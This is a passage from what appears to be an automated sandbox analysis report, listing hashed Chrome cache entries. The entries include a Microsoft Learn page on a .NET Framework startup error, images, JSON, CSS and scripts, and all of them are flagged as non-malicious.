diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 80

Download File

